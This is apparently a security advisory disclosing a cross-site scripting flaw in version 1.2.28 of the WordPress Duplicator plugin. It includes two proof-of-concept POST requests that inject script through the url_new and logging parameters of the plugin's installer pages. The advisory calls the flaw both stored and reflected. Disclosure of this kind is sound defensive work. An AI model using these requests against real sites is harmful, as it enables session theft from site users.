WordPress Duplicator Migration 1.2.28 Cross Site Scripting

WordPress Duplicator Migration plugin version 1.2.28 suffers from a cross site scripting vulnerability.


MD5 | 2a23ccdd30440e91eff8eb3c5895687a

Class Input Validation Error
Remote Yes

Credit Ricardo Sanchez
Vulnerable Duplicator a WordPress Migration Plugin 1.2.28

Duplicator a WordPress Migration Plugin is prone to a stored cross-site
scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.

To exploit this issue following steps:
The XSS reflected because the values are not filter correctly:


Demo Request POST:

POST
/wordpress//wp-content/plugins/duplicator/installer/build/view.step4.php
HTTP/1.1
Host: localhost
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: es-ES,es;q=0.8
Cookie:
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

url_new="><script>alert(1)</script>demo




Demo 2 Request POST:

POST
/wordpress//wp-content/plugins/duplicator/installer/build/view.step2.php
HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: es-ES,es;q=0.8
Cookie:
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 37

logging="><script>alert(1)</script>demo

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